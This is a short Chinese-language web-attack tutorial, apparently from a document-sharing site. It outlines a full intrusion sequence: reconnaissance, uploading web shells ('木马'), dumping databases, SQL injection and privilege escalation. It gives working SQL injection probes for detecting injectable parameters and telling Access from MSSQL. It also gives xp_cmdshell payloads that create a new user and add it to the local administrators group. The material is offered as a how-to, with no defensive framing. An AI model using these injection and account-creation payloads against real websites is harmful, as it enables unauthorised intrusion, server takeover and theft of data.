Web 攻击思路:
踩点(尽可能的分析一切信息)→找上传漏洞(有,上传木马)→暴库(成功爆破后直接登录后台)→SQL 注入(先工
具后手工)→获取 Web 管理密码(没成功,寻其他法)→登录后台(否,万能密码,再否再寻)→上传木马(有过滤,找
备份或其他方法)→提权
SQL 注射思路:
1.判断 URL 是否可以注射
2.判断数据库类型
3.确定 xp_CMDSHELL 可执行情况
4.猜测或直接获得表名或字段名
5.构造语句得出字段的值
SQL 注入的实际操作(实例数据库为 ACCESS):
1.判断是否存在注入点
http://xxx.aspx?id=xx' 返回异常页面
http://xxx.aspx?id=xx and 1=1 返回页面正常
http://xxx.aspx?id=xx and 1=2 返回异常页面
上述三点均满足,才能说明存在注入点
2 判断数据库的类型
方法一:利用单引号判断
如果引擎为:JET 则数据库为 ACCESS,引擎为 ODBC 则为 SQL 数据库
方法二:利用系统表
ACCESS 系统表为 msysobjects(在 Web 上无访问权限),
SQL 系统表为 sysobject(在 Web 上拥有访问权限)
规则两条:
① http://xxx.aspx?id=xx and (select count(*) from sysobjects)>0
② http://xxx.aspx?id=xx and (select count(*) from msysobjects)>0
若数据库为 MSSQL,第一条正常,第二条报错,ACCESS 则会全部报错(access 之所以会全部报错是因为
它在 Web 环境下没有访问的权限)
3.确定 xp_CMDSHELL 可执行情况
4.猜测表名和字过程段名
http://xxx.aspx?id=xx and 0<>(select count(*) from admin)
判断是否存在 admin 这张表
SQL server 数据库的注入更为方便:
因为 Sqlserver 内置的一个存储过程 xp_Cmdshell ,可以直接通过添加系统管理员来进入后台
;exec master..xp_cmdshell "net user name password /add"//添加一个人名为 name
密码为 password 的账户
;exec master..xp_cmdshell "net localgroup administrators name /add"//把 name 用
户添加到本地组
然后就可以直接通过这个用户和密码以管理员身份进入后台了
上传木马图片之所以会可以显示出作用,是因为所有的文件最终都会被解析为 HTML
相关文档
评论